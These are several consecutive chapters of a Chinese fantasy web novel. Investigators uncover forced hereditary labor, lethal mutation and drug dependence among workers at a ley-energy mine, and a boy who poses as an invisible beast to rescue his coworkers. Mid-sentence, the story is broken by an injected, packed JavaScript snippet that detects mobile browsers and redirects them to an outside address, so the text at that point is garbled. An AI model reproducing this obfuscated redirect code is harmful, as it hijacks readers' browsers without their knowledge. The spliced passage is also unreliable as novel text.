“我不明白,如果你们已经决定和他合作,为什么还要查验查理的尸体呢?是要获取他杀害查理的证据然后威胁他交出产业资料吗?” 马克西姆有些不理解。 “不,我们不是要威胁他,是为了确认查理死亡的真实原因。”阿纳托利解释道。 “但乔恩不是已经承认是他杀死了查理吗?” “他很可能在说谎,”阿纳托利说道,“他在回答问题时候眼神非常不对劲。 莱安娜听到这里也继续补充道:“而且哪怕是他情绪崩溃时说自己的报复行径,也只提到了交换尸体,没有提到自己杀死他的过程。手刃仇人的经过怎么会在复仇的愤怒中没有丝毫提及呢?人下意识的反应可以说明很多问题。” 马克西姆有些不情愿地来到了标记地点开始动工。 “他们是不是想太多了,疑神疑鬼的。” 而在马克西姆挖出尸体后,不由得对两位长官的判断佩服起来,他盯着面目全非的躯体倒抽了一口气。 没有魔兽的咬痕和抓痕,那具已经腐坏的躯壳上有许多深浅不一、位置不同的伤口。其中有惯用左手造成的、也有惯用右手造成的,其中心口的一刀竟然还有细微的魔力的痕迹。 其余伤口无一例外都是锐器造成的,一共有四十三处…… 不止一个人杀了查理。 60. 失踪的工人 三人到了地脉能源作业区的时候,已经是晚上十点,透过马车的窗户,作业区的灯火仍然星星点点地亮着。 “这里的工作时间到底是多久,为什么工人们还在工作。”阿纳托利不由得为圣都的工作制感到畏惧。 乔恩:“据我了解,这里的工作时间一般是十二到十四个小时。” “这样的高强度工作下工人很可能会辞职吧?”阿纳托利有些惊讶。 乔恩见他对圣都的制度了解不多,只得继续解释:“这里的工人不同于一般的雇佣关系。地脉能源的作业是相当危险的,如果采用一般的雇佣模式或许招募来的人数难以满足需求,但能源供应又关系帝国的安全。因此在最初使用地脉能源的时候,贵族议会就制定了工籍制度,一旦成为地脉能源区的工人,入无特殊情况,本人和其后代将会长期从事这个行业。” “听上去很不合理,这些人完全失去了择业的自由。”阿纳托利有些惋惜。 “但他们的薪资可是远超一般的平民,据说最初招募的时候,还有为了争抢名额大打出手的呢······我们到了。” 在下车和乔恩拉开一定距离的时候,阿纳托利压低声音询问莱安娜: “东区的地脉能源作业也是一样的规定吗?” 莱安娜沉默了好一会儿,随后才抬眼看向他。 “东区有六个地脉能源作业区,我老师卡丽安娜叛乱时亲手炸掉了五个,你想问仅存的那个吗?” 她盯着阿纳托利,眼神意味深长。 阿纳托利突然有些后悔,自己开启了一个并不愉快的话题,有些尴尬地搓了搓手,不知道该说什么来找补。莱安娜见他不知所措的样子,便顺势说了下去: “你不用担心,第四区仅存的那个地脉能源端口采用的是正常劳动合同,工人们的作业时间和待遇早在卡丽安娜老师还在任的时候就已经有所改善了。” 她说完便把头转了过去。 “那被炸掉的三个区呢?没有了稳定的地脉能源要怎么办?”阿纳托利试探道。 “民众的生活其实没有直接影响,最关键的是没法形成屏障,所以前几年魔兽潮才会不太好控制。但好在事前有所准备,民众伤亡不严重,就是魔兽清理起来很麻烦。” 她叹了口气。“不过已经快结束了,那三区的魔兽潮已经快接近尾声了。” “这么说,我说不定之后不用前往东区前线?” “也不一定,第四区说不定之后会爆发呢?格里卡尔他们一直都在戒备。” “还好东部第四区的屏障还在,哪怕真的爆发了魔兽潮,想来也没有另外三个区域棘手。”他给乐观地给自己罗列着有利信息,但这次莱安娜没有再回答他。 一行人很快来到了会客室,和作业区的负责人礼貌地寒暄,负责人是位十分有风度的中年男子,留了两撇八字胡,带着金丝眼镜,衣着考究,还喷了香水,很难看出其是矿区的工作人员,简直像是在此地度假的游客。 他表现得极尽友善,热情洋溢地在前面带路,笑着描述他给三人准备的房间多么舒适、作业区的某些景点多么有趣······阿纳托利走在他身后时不时地附和两句,并询问他有关于工人被魔兽袭击失踪的详细情况。 莱安娜则观察着一路上的景象,果然如乔恩所言,这里不太对劲,地脉能源的作业通常都在地下,但地表此时聚集了一大批工人,地脉入口处也设置了路障。 “福洛戈先生,为什么地脉入口关闭了呢?”她的询问让福洛戈的笑容瞬间僵在了脸上,但很快他就又恢复那热情憨厚的笑容。 “这还不是怪那只魔兽吗,我们不清楚那家伙的行踪,但据工人说,有一天在地下收集外溢能量形成的魔晶时,听见了非常奇怪的响动声,我们的管理员为了保障工人的安全还勇敢地去一探究竟,谁曾想就遭到了袭击。” 他相当遗憾地摇了摇头。 “可怕得很哩!据说他明明听见了声音,但那魔兽会隐身,他什么都没看到,一眨眼的功夫,咯嘣!他的手就没有了!搞得现在夜间都不敢下地了,我们的作业时间平均缩短了快二分之一,这可怎么和教皇陛下交代······” 阿纳托利有些意外,自己刚才询问案情,这个负责人却对魔兽可能潜伏在地脉入口只字不提,直到莱安娜提问他才说关于地下作业的情况。越快抓获魔兽,他们就能越快恢复生产作业,那负责人为何要隐瞒,难道地下除了魔兽还有别的什么东西? “福洛戈先生,请开放地下入口,我稍后进去查探。”阿纳托利用了敬语,但是显然是不容商量的意思。 “可是这会不会太危险了?要不等明天一早,通知防御司再多派些支援和您一起······” “这是我们的任务,福洛戈先生,您应该也希望能尽快恢复供能吧,那可是教皇陛下最关注的问题。”阿纳托利已经把教皇搬出来了,福洛戈明面上也不好再多言。 “寇尔,你熟悉地下脉络,你给司长带路。”他朝人群招了招手,话音一落,一个十四五岁左右的少年人走了出来。 他有着黑灰色的利落短发,衣着单薄,脸上的灰尘还没有擦去,但那双乌亮的眼睛有着黑珍珠一样的光亮。 “你们还用童工?”阿纳托利的脸色相当难看。 “害,您说的哪里话?我们这儿使用的是工籍制度,这孩子是工人的子女,他父亲在几年前去世了,他继承他父亲的矿灯和铁锹再正常不过。”福洛戈笑着摆了摆手。随后十分亲昵地拍了拍寇尔的肩膀。 “这孩子记性好着呢!地下的路啊全在他脑袋里,要我说比留影石的地图还要方便呢。” “他没有自保能力,若是魔兽偷袭我不一定来得及救他,我不能带他去,你给我地下脉络的投影石。” 他刚说完,那个孩子就十分惊讶地盯着他,似乎想要说什么,还没开口就被负责人从身后用力地推了一把,他一个踉跄,离阿纳托利更近了一步。 福洛戈:“您不必担心,这孩子很机灵,不会扯您后腿的,而且清剿魔兽如此重大的事情,为此献出生命也是值得的,对吧?寇尔?” 那孩子刚才乌亮的眼睛暗淡了下去,他点了下头。 “好孩子!我一向赏罚分明,等上来之后会给你涨工资的。” 福洛戈慈爱地看着他,很是满意,随即把脑袋转了过来,看向阿纳托利。 “那么,司长大人现在是否还有别的什么要求呢?” 阿纳托利走到少年人的面前,轻声询问:“你会用魔导器吗?” 那个少年怯生生地点了点脑袋。 “很好。”阿纳托利转头朝着负责人说:“给这孩子一部魔导器。” 福洛戈将一把弩形魔导器递给这孩子时,将手按在了他的肩膀上。“好好带路,知道该怎么做吧。” 他的语气没什么变化,但那少年的神色都沉重了几分,捕捉到这一变化的莱安娜忍不住担忧起来,朝阿纳托利使了个眼色,阿纳托利立刻会意,握了握对方的手。 而一切准备就绪后,福洛戈才将地下作业区的入口钥匙转交给了阿纳托利。 “司长请务必小心,那魔兽动作很快!而且隐匿性极强。”他说罢挤出了一个有些过分殷勤的笑容。“对了,希望您不要在战斗过程中损伤地脉,最好不要靠近地脉中心,我们承担不起地脉破损的责任。” “可以理解。” 阿纳托利接过钥匙,随后看向了身边准备和他一起行动的莱安娜。 “抱歉阿琳娜,我需要你在地面配合我。” “亲爱的,我们不是说好了一起行动吗?”她脸上仍是带着好脾气的微笑,但阿纳托利很清楚,如果不是这里还有个福洛戈看着,莱安娜恐怕早就是一张臭脸了。 “已经确定了魔兽在地下,地面上没有那么危险,只有你安全我才能放心。”他说着拥抱了对方,在她耳边低声说: “地下作业区有问题,我来负责调查和抓魔兽,拜托你帮我调查这里工人的情况,失踪了这么多人,我们得查清楚。地面上没有魔兽,但如果出现意外,安全第一,立刻解开拘束链。” “我知道,放心吧。” 新婚情侣的浓情蜜意显然是个很好的借口,尽管阿纳托利说了不少话,但并未招致福洛戈的怀疑。 “福洛戈先生,还有个问题,魔兽具有隐匿的魔法,我建议在门打开时拉上特制的网兜,防止它借机逃走。” “不必担心,我们的入口已经加了特制的探测器,魔力波动调整成了魔兽的参数,一旦有魔兽经过必然会拉响警报,门会立刻喷洒特质粉末,哪怕它会隐身也无所遁形。” 地下通道的大门缓缓打开,没有异常。 阿纳托利站在入口前看着黑漆漆的深渊,像是怪物的喉舌,散发着泥土和灰尘气息的风从洞中吹出,他迈出脚步和寇尔消失在了黑暗中。 ······ 两人走进通道后,身后的阀门就缓缓关闭了,眼前逐渐变暗,寇尔点起矿灯,走在前方为阿纳托利照亮前路,斜坡蜿蜒向下看不见尽头。 阿纳托利知道福洛戈负责人定然交给了寇尔一些“阻碍”调查的任务 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少年沉默了几秒后才点头。有些微妙,如此记忆深刻的事情不可能记不清楚,此时的思量像是在权衡是否要说实话,阿纳托利猜测这孩子选择说实话恐怕还是因为地下作业有记录,撒谎只会适得其反。 阿纳托利接着试探道: “管理员不太可能单独行动,当时你们还有这么多人,管理员被魔兽咬住腿的时候,你们没有任何人上去帮忙吗?” “司长大人,我们当时害怕极了。而且大家手无寸铁,管理员好歹有一柄魔导器呢,我们别说魔导器,连一把刀都没有,怎么对抗魔兽?”他一边说着,那双乌溜溜的眼睛还挂上了几分恐惧。 他觉得自己给出的理由相当充分,足够打消阿纳托利的疑虑,没想到下一句话则让他完全陷入了被动。 “魔兽这种捕食者很会趋利避害,他们很擅长找到最弱的猎物再下手,你说你们手无寸铁,无力帮助。那一只擅长偷袭的的小型魔兽为什么不攻击手无寸铁的你们,非要去攻击佩戴有魔导器的管理员呢?它们是能察觉魔法制品的魔力波动的。哪怕它攻击管理员,为什么不直接咬断喉咙呢?而是攻击手臂,而且偷袭得手后并未立刻离开,而是当着你们的面持续拖拽?这不合常理。” “我不知道,先生,谁知道野兽是怎么想的。” “从案件事实来看,那只魔兽似乎不怕你们甚至和你们很亲近是吗?” “您这是什么意思?您在猜我们豢养魔兽,那怎么可能?” “是啊,那不可能,所以你作为目击者隐藏的到底是什么呢?” 那少年的额头上浮现出了汗珠,吞了口唾沫。 “好吧,我们确实选择了袖手旁观,我们都很讨厌那个管理员,他会用鞭子抽我们,我们确实是故意不管他的,但放任魔兽咬他不可能也算犯罪吧。” 阿纳托利没再说话,只是盯着他,这种眼神让寇尔内心有些毛发,但还是强撑着没有改变脸色。 终于,那试图洞悉内心的目光移开了,落到了有血迹的土壁上。寇尔松了口气。但问题接踵而至。 “你几岁了?”阿纳托利没有抬头,仍在收集泥土样本。 “十八岁。”他有些不明白对方的用意。 “真的吗?我还以为你最多十五岁。”阿纳托利十分讶异地看着他。 “我们很难长高的,所以看着年纪小。”他语气相当稀松平常。 “那寇尔你之后打算做什么?” “我没什么需要打算的,应该会在作业区一辈子负责能源供应,或者采集地脉附近的魔晶。” 阿纳托利抿了抿嘴,沉默地记录好了此地的数据,随后起身准备去地脉深处。 寇尔:“负责人说了,您最好别去那个地方,如果损伤了地脉或许······” 阿纳托利:“寇尔?你还准备按照负责人愚蠢的借口扯多久?如果地脉本就是由魔力构成,除非足够强有力的魔力与其对冲,否则怎么可能对其有明显影响?地脉深处到底有什么是需要隐藏的?” 寇尔沉默了,那双漆黑如墨的眼里满是犹豫。 阿纳托利继续劝说: “告诉我实情我能带你离开这个地方,为那个负责人卖命,你觉得他真的会按照承诺吗?” 寇尔想到了阿纳托利之间的种种行为,看向了自己手中的魔导器。 像是在下定决心,精瘦的少年在最终朝阿纳托利点了点头。 “我带你去。” 61. 真罪孽和假魔兽 地脉深层和中层完全不同,哪怕作为魔导师本身和魔力波动有更好的适应性,在强度高且纯粹的能量压力下,阿纳托利仍本能地感到危险与不适应。他转头看着提灯的少年人。还好他有魔力,勉强能够适应这种环境,但很多没有魔力的工人要怎么办? “寇尔,那些没有魔力的工人也必须在这种环境下长时间作业吗?” 寇尔停下了脚步,回过头来看他。矿灯映照着他灰扑扑的脸庞,眼里很是不解。 “您为什么这么问,那是当然的,不然怎么交差,这些年要求的能源指标越来越多。” 走过蜿蜒的通道,终于来到了开阔的空间。 像是无数扎根地心的荆棘在此处终于冒出头来,人类用最精密的机械将其囚禁,用那钢铁之心一遍遍敲打着自然母亲的血管,贪婪而粗暴地祈求母亲给予能量。控制地脉的装置像是寄生在根节上的一个巨大肿瘤,阿纳托利甚至一眼看不到尽头,眼前是一片蔓延到远处的钢铁丛林,恶狠狠地扎在那金灿灿的脉络上。 这份景色本就足够让人震撼,但目光移至角落时,他却再也无法保持冷静了。 他原以为那是在角落的石头,不是的······他分明看到了石头上伸出一只苍白的手。 阿纳托利定睛一看,那是一个蜷缩着的人,身上覆盖着诡异的大块灰色鳞片。他立刻冲了过去, “你怎么样?还能······” 他刚握住那人的手,话就卡在了喉咙里,手冰冷僵硬就像石头一样。 “他们早就死了。”寇尔跟在他身后,那矿灯的光打在了死者的脸上。疲惫麻木的表情和死亡一同凝固在了他的脸上。 寇尔平静地向阿纳托利解释:“没有魔力的人如果长期在高强度的能量影响下,就很可能会出现这种症状,像被诅咒了一样,皮肤变得坚硬、长出恶心的块状物、片状物或者别的什么东西,最开始只是外表变难看一点,力气还能变大些,慢慢的的身体就会越来越僵硬,简直就像是矿坑里的石头一样······” 阿纳托利蹲下盯着已经再无反应的尸体,说不出一句话。 为什么没有防护措施? 为什么这么严重的不良反应从未上报? 为什么没有及时治疗和退出,还要进行高强度的工作? 问题如潮水一样密集,但阿纳托利知道那个残忍的答案——因为在那群贵族们的眼里,没有比人更廉价也更好用的耗材了。 工籍制度本就是为了让这些人与世隔绝、永无止境地燃烧自己的生命,像是随时会熄灭的矿灯、很容易磨损的铁镐、容易朽烂扯断的麻绳,在日复一日的劳作中走向破损的结果,他的孩子、更年轻的矿灯、铁镐、麻绳会接替他,地下的苦难永无止境,圣都的繁华生生不息。 “至少应该好好安葬……我们到他上去。”他说着就要尝试移动尸体。 “难道您打算把这些尸体都移动上去?” “这些?” 他放远了自己的目光,这才看到,这具身体的旁边还有密集的“石块”。 他们的异化程度比这具尸体更加严重,那坚硬的壳甲包裹了每一寸皮肤。像是真的成了矿洞中的石头。 “为什么负责人没有安葬他们?” 阿纳托利努力让自己的语气听上去比较理智。 “因为从地上开到地下的运输车是特殊车辆,很耗费能源,一趟的成本差不多是两个银币,异化了的尸体也不会正常腐烂从而影响作业,所以负责人就没有管。” “那他们的家人没有来……” “如果搬运到了地上安葬,负责人说墓地要单独收费,五个银币。” 寇尔的声音越来越小。 阿纳托利意识到自己还是低估了那群坏种压榨人时的精打细算。 运回尸体安葬这种没有回报的事情他们本就不愿意做。 “我们回去后我会让负责人安葬他们的,负责人没有土地的所有权,墓地收费是违规的。” 他说着起身,准备和寇尔一起回去。 但他突然停下了脚步。 “尸体虽然僵化,但并非变成了真正的石头,血肉虽因魔力异化的影响而长出鳞甲,但也只是比寻常裸露的皮肤硬了一些而已。血肉还是血肉,本质没有改变。” 一些蹊跷之处迅速串连成线。 “在魔兽徘徊的地下洞穴,没有其他食物来源的情况下,如此多的尸体为何可以保存完整?” “会不会根本没有魔兽?” 他想到了另一种可能。 “如果是一个有着隐匿魔法的人呢?” 第一个失踪的人,其实是觉醒了隐匿魔法,他本可以逃离这里,但扮作魔兽盘踞在此,制造恐怖的传闻,影响作业,迫使负责人不得不减少作业的时间,他在保护工人们。 但那些失踪的人去哪了? “怎么了?”寇尔察觉有异,回头去看对方。 阿纳托利置若罔闻,他还在思考,他突然想起进入洞穴前的一个细节。 进入洞穴时似乎从洞穴里吹上来一阵风? 风!!! 阿纳托利骤然警觉,地下温度更高,风往往从室外朝里面吹,为什么会有风从内往外吹! 如果是人,洞穴外检测魔兽的装置自然不会有异常。 “不好!” 他立刻加快了步伐奔向出口。 前方的寇尔却挡在了他前面掏出了魔导器。 “您现在不能出去。”寇尔端起那把弩状魔导器,口子对准了阿纳托利。 “你是那假扮魔兽之人的同伴。”阿纳托利瞬间把管理员遇害等一系列事情串了起来。 “看样子您已经猜了个大概,不过已经不重要了,那家伙已经逃了出去……但您现在不能回去,我必须拖住您。” 那位少年的眼神是如此坚定,但手仍在不停颤抖。眼前的是高阶魔导师,他怎么可能是对手,但他仍然选择了挡住阿纳托利的去路。 阿纳托利没有拔剑,他解释着:“我不是你们的敌人,你们只是为了逼迫负责人减少作业的时间,等我们回去,我可以帮你们……” “你帮不了我们!您给我魔导器,您想带尸体出去。您有怜悯之心,但您帮不了我们!”寇尔终于褪去了平静,眼里尽是愤怒与怨毒。“您的任务就是抓那会隐匿魔法的魔兽的!教皇的任务没有任何人可以拒绝,您要抓哈克回去,要拿他做实验!” “他是人不是魔兽,我当然不……” “有区别吗?”寇尔厉声反问道, “是人还是野兽在那群贵族的眼里有什么区别,他们想要的是隐匿魔法,哪怕是人他们也会毫不犹豫地落下屠刀,他们不会放过他的!无论您的想法是什么,您接下了这个任务,我们只能是敌人了。”他咬牙切齿。 “所以说什么会和我们站在一边,都是狗屁!同情又如何?不忍心又如何?来这里露出同情眼神的贵族不止您一个!每个都是来说两句没屁用的话,叹叹气撒撒泪花便匆匆离去,我们只会相信自己!” 他说罢深吸了口气,随后解开了魔导器的安全封印。 “你不要动!只要等今晚过去,哈克就能……” 他明明一直盯着对方? 但为什么他消失了? 寇尔立刻戒备,端着魔导器环顾四周却顿觉手上一痛。 “哐当!” 魔导器滚落到了地上,被阿纳托利一脚踢开。 寇尔还没缓过来发生了什么事,胳膊已经被反手压住,控制了起来。 一个连魔力都尚未熟练使用的魔导师怎么可能拦得住身经百战的高阶魔导师。 “要杀便杀吧,你下来的时间足够他离开了。” 他淡漠地扔下一句话。 “我不会杀你。” 阿纳托利松开了他的胳膊。 “带路吧。” 寇尔困惑地盯着对方,不明白他到底在打什么主意。 “这么看着我干嘛?难道你想上去了被福洛戈看出什么端倪?我发誓我不会抓你那位朋友,抓人不在我的职务范围内,一切都上去了再说,另外别动歪脑筋,路我已经记住了,让你走前面是怕福洛戈起疑。” …… 在地上这段时间,莱安娜到了这地方的病房,和病人们还有孩子聊天。 她发现这些人身上都有一些诡异的硬块,而且看上去部分人还有服用特殊药物的症状,很是奇怪。 “基尔先生,您是有服用什么特殊药物吗?我看您的指甲有些奇怪?” “唔……我确实有吃药,这没什么大不了的,是一种兴奋剂,这很常见,就在我们作业区门口,我们很多人干活前都会买一粒,三粒才一个铜币呢,比烟草还要便宜。” “那种药对身体的损害很大的,基尔先生。” “是吗?但我们不少人都吃了,也没什么问题。”基尔满不在乎地摊了摊手,“不信,你问他们!” 周围其他几位伤员也争相附和。 随后用一种看异类的眼神看着莱安娜,仿佛她只是以己度人的温室花朵。 莱安娜:“短期内看不出问题,因为他们的剂量控制得很好,时间长了真的会造成不可逆的伤害,指甲只是其中最微不足道的表征而已,之后会影响到内脏的。” 她语气相当的严肃,这并不是一个无关痛痒的话题,他们必须知道这个药物会给他们带来何种损害。 原本气氛还算融洽的室内陷入了一种尴尬的安静,过了一会儿,基尔才抬头笑着说: “但这也是没办法的事,我们需要在地下工作十二个小时以上,那可是体力活,吃的东西又不顶饱,我们只能吃药才干得下去啊。” 他说完另一个工人继续说: “是这样的女士,而且这种药品在外面似乎还挺贵的,不知道负责人从哪里来的门路可以搞到便宜货,如果在外面我们说不定要花整整一百个铜币才能拿到这药呢。” 莱安娜说不出一句话。 昂贵得让人难以想象的正常医药、价格不合理的烟草、便宜的兴奋剂。 在不知道其背后的危害和成瘾性原理的情况下,身心俱疲的工人会选择什么不是一目了然的事情吗? 这种药就像助燃剂,加速他们燃烧生命为地脉供能中心创造更大的产能。 又像一根沉重的枷锁。抛开工籍制度,一旦沾染上这种东西,哪怕未来制度改变,他们也走不出矿区了。当他们已经积重难返、严重成瘾的时候,面对外面价格高昂的药物,他们便只能乖顺地低下头颅,无论如何压榨鞭笞都不会离去。 “我们会把这里的医药价格过高、饮食问题如实报告的,未来会好一些。” 她只能努力挤出一个牵强的笑容,安慰着已经被推进泥沼的可怜人。 “那可是好事,还是头一次有人这么说。”基尔笑着说。 “可不是吗?之前来这里视察的人只会和福洛戈说话,压根不会和我们聊天,都说和平民聊天有损体面,沾染晦气,哦,受不了那群贵族,真该叫他们全都破产才好。”另一个人附和道,随后满不在乎地撇了撇嘴,随后他似乎意识到什么,转头看向莱安娜。 “抱歉,小姐,我没有骂您的意思。” “你骂得没什么问题,我也这么想。”莱安娜也朝他笑着。“我又不是贵族,我只是个来自小山谷的平民。” “诶!” 大家一听她这么说瞬间来了兴趣。 “那你丈夫他也是吗?” “是的,他也是平民,现在正在悲惨地给别人打工呢。” “我听别人叫他司长?叫您记录员?你们是怎么出头的?上学的学费当时能负担吗?” “学费很贵,是投资人帮我们支付的,但我们现在需要回报他们。” “那真是好运!那您现在的家人们应该以您为傲了,一个在圣都有着体面工作的孩子,他们一定不会过苦日子了。” 莱安娜的笑容僵在了脸上。 “我的家人们,他们在魔兽潮里去世了。” “哦……那可真是太糟糕了。” 基尔瞪了一眼旁边这个不会说话的病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076804|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,那人似乎也有些不好意思,把头尴尬地别了过去。 “基尔先生,还有其他朋友,你们刚才不是说有些饿吗?我去问问厨房中午是否有剩余的面包,稍后再来。” 她笑着起身,快步离开了。 病房里的基尔继续抱怨道:“萨姆!你干嘛提别人伤心事!” 萨姆很委屈地抓了抓头发:“我也不知道这位女士的家人离世了啊!不能赖我!” 一旁的多莉不耐烦地开口:“别在那扯皮了,还是好好想想愉快一点的话题吧,托这两位的福气,咱们还睡上了像样的病房,不是为了应付检查,福洛戈怎么可能让我们住这里!我们没道理让给我们好处的人难受。” ……… 莱安娜刚出门,一阵风拂过,让她有些浮动的心绪再次沉稳了下来。 她已经很多年没有参加这种热闹的聊天了,闹哄哄又有人情味的氛围让人回想起过去倒也正常。 但她不会沉溺在回忆里,追忆往昔并改变不了任何现实,但她还是打气一样地在内心重复: “吉姆、婆婆和爷爷、切希尔姐姐、卡丽安娜老师……我一定会帮你们报仇,阿萨特、维斯特利亚、还有女神我一个都不会放过。” 等她从厨房里取回一些食物时,却听见门内传来陌生的声音。 “我们一起走吧!我带你们走!不会被发现的!” 语气很着急,声音听着像个年轻人。 “这太疯狂了!哈克!你好不容易才有机会逃走!快走吧!” “你们受伤了,而且异化的症状已经很明显了,继续留在这里真的会死的!我可以装作袭击了这里的样子,再带你们走,和之前一样,就不会再有追杀了……” 莱安娜听着门内的计划,右手放在了脖颈的装置上。“茵挪。” 短暂的光芒闪过后,魔力波动的束缚消失了,她只能自行控制波动,然后推开了门。 大家都露出惊恐的眼神,她扫了一眼室内,没看到其他人,但下一秒她的脖子处却感到了冰凉,她有些惊讶,很少有人能躲过她的魔力探查。 “别动!” 那人解开了隐匿的魔法,是一个看上去比寇尔还要小一些的少年。 他穿着特制的皮套,上面点缀着奇怪的羽毛,后面还挂着一条尾巴,远看一定像一只小型魔兽。而抵在莱安娜咽喉上的并非什么匕首,而是金属制的手套,前端的锯齿做得像极了魔兽的牙齿,少年的手在手套内可以控制这钢铁怪兽的牙齿的开合。 “不可以,哈克!这位女士是无辜的!不要伤害她!” 莱安娜没有察觉到杀意,如果有的话,她会立刻发动魔法。她甚至能感到这个试图威胁自己的少年很紧张,抵在自己脖子上的金属锯齿还在发抖。 “你不要动,我……我和你一起出去,如果我顺利出去了,我会放了你的,我不会杀你。” 他有些磕巴,但努力使自己的口吻听上去狠毒又具有威胁性。 好好笑,怎么会有这么不专业的绑匪? “你带着我,可就不好再演戏带这些人出去了。” 莱安娜冷静地指出少年计划的漏洞。 “可恶,既然你都知道了,那就只能……” “杀了我?”莱安娜转过头盯着他。 “我说了别动!”锯齿抵得更紧了一些,但似乎和它的主人一样毫无威胁。 “杀了我,你不仅没了人质,逃亡路上还有更多阻碍,这不是一个明智的决定。” 哈克觉得好生气,但这个人质说得又有几分道理。只得把目光移向基尔他们: “你们要不要和我一起走,我这次最多还可以带五个人,虽然没有魔兽吃人的戏码,但这个时候失踪负责人也只会朝那个方向猜的,剩下的人我下次……” “走吧,哈克,别回来了,那位魔兽专家现在还在地下,要是让他看出什么端倪,连你也跑不了,快走!” “啧!”哈克有些不服气。“你们真窝囊!” 这时他却看到了莱安娜抬起了手。 “你干嘛?” 他连忙阻止。 “把面包给他们,我答应过的。” 哈克有些无语地扶额,怎么感觉这个人质真的一点也不怕他,不是说那些贵妇人见不得一点锐器和血,一看到就会吓得晕倒吗? 他就这样抓着莱安娜,开着隐匿魔法走出了供能中心。 莱安娜有些好奇地问他:“你的隐匿魔法可以用在其他人身上?” “这不废话吗,不然他们为什么看不见你!”他没好气地回答。 “那你能隐匿的人数上限是七人?” “你怎么知道的!”哈克仿佛被踩到尾巴一样。 “你自己在房间里说的。”莱安娜感觉这孩子有点迟钝。“你……” 她刚准备继续试探,哈克严肃地打断了她。 “人质不能提问题!” 哈克简直怒火中烧,但毫无办法,怎么会有如此胆大包天的人质! 两人走了一会儿,直到来到供能中心外不远处的空地,他才知道人质胆大包天的原因。 “这里没有人了。”他说道,“我会放你回去,但你必须……” 他不明所以,只觉得天旋地转,自己就被倒挂在了半空。 “你不是没有魔力吗?” “你有隐身,我自然有自己的伪装。”莱安娜平静地陈述着。“带我去你本来要去的地方,给我讲清楚供能中心事情的来龙去脉,告诉我那些失踪的人去哪里了,小绑架犯。” “我才不……” 他话没说完,就看到面前那棵粗壮的树倒了过来,直直地撞向倒吊在半空中的他,他下意识用手挡在了面前,却发现树干甚至没有碰到他的手,就在前方一米被利落地分成了两半,丝滑地就像是切蛋糕。 他看了眼地上分成两半的树干,又看了眼地面上那带着和善微笑的女士,吓得深吸了好几口气。 “哈克是吧?”她的心情似乎很不错,语调都上扬了几分,“看清楚了,这才叫威胁和绑架。” 62. 救人的魔兽 “我是世界上最倒霉的绑架犯。” 哈克在内心哀嚎。 怎么会有人劫持人质不成反被威胁,逃跑失败还被打了一顿的啊? 他尝试逃跑,但哪怕他会隐身,那位女士的魔力也能把他死死地锁在原地,然后他就因为自己企图逃跑的行径遭受了被反复甩上高空的惩罚。 而那个折磨他的罪魁祸首,此时正相当平和地跟在他身后。她似乎心情很好,嘴角上扬,还哼着小曲,哈克觉得正常人是不会因为折磨别人而感到愉快的,所以这位女士恐怖的形象愈发深入他的内心。 而莱安娜此时只是单纯地享受魔力恢复的畅快,没有了装置的拘束,五感变得敏锐,身体仿佛也更加轻盈。 哈克带莱安娜来到了缄默区一处不起眼的住宅。 “那些失踪的人全在这里?” 莱安娜打量着眼前这栋破败狭小的房子,很怀疑其是否能容纳下二十个人。 “没有,他们并没有全在这儿,有一半多的人已经死掉了。” 他说着打开了门,莱安娜进入室内后,他还警惕地观察了四周再拉上门。 莱安娜扫了眼室内,狭小但很整洁,在门廊处挂着的照片说明了房间的主人是谁。 那是一张全家福,一家五口。莱安娜从这照片里认出了乔恩调查员。 “那这里想必应该是卡尔一家的住处,一家人只剩下乔恩这个养子了,房子空出来后借给了这些从能量供应中心逃出来的人?”莱安娜看着照片思索着。关上门的哈克一把取下头套,有些害怕地盯着她。 “那个……我在楼下回答你的问题,不要上楼,病人们都在楼上,看到陌生人他们会担心的。” “好。” 哈克有些惊讶,没想到对方竟然变得好说话了一点。 “你能保证不泄漏这个地方还有这些人的存在吗?”他瞥了莱安娜一眼,企图揣测她到底打的什么主意。 “单方面期待他人的承诺不是好的选择,下次你要学着有让人闭嘴的把柄。”莱安娜的眼神很认真。“不过这次我可以答应你,以我家人的灵魂起誓,以及………” “你还有什么条件?” 哈克交叉着手,有些怀疑地盯着她。 “你的尾巴夹在门缝里了。” 她有些尴尬地指了指夹在门里的皮套,随后哈克手忙脚乱地重新打开门再锁上。 一阵兵荒马乱之后,她才开始盘问起了这只作案的魔兽。 据哈克介绍,他是偷偷找的一个空房子,不知道房主是谁。 至于为什么有异能,是因为地脉的影响,他的身体出现了变异,但意外地没有和其他人一样患上疾病,而是意外地拥有了隐匿的技能。 在他发现自己可以暂时隐身后,便制定了一个逃跑的计划。只要装作被魔兽袭击、失踪,被判定为死亡,就不会遭受无休止的搜捕了,因为身份注销,往后出入任何场所也不会被核验出来。 但他在逃跑前想到了另一个问题。 他还可以离开,但他的工友们怎么办? 他的同伴、那些照顾过他的前辈、那些受伤但是无法得到治疗的同事,他们该怎么办? 有的工友被地脉影响的症状越来越严重,如果再下地心一定会死的。 只要能远离那个环境,其实还有恢复的希望。但为了产能,负责人甚至不愿意让他们轮班休息。供能场里异化死亡的人越来越多,能劳动的人越来越少,工人们工作的时间被不断延长,如此恶性循环。但负责人丝毫不担心,毕竟如果人不够,以发生意外减员为由,再申请补充不就好了吗? 简而言之,对工人们来说,被异化后还留在供能区继续工作和等死没有任何区别。 哈克不想眼睁睁地看着自己的工友们就这样死去,于是他和寇尔一起重新制定了更加大胆的计划。他们用废铁和一些破旧材料做了魔兽的皮套,哈克伪装成吃人的魔兽,每到夜晚就潜入工人的休息室制造骚乱,趁机把急需治疗的人带出来,大家都会默认那个人已经死了,而平民的死亡总是得不到关注的,怕死的负责人调集了所有武装保护自己和管理员,更加方便了他的计划。 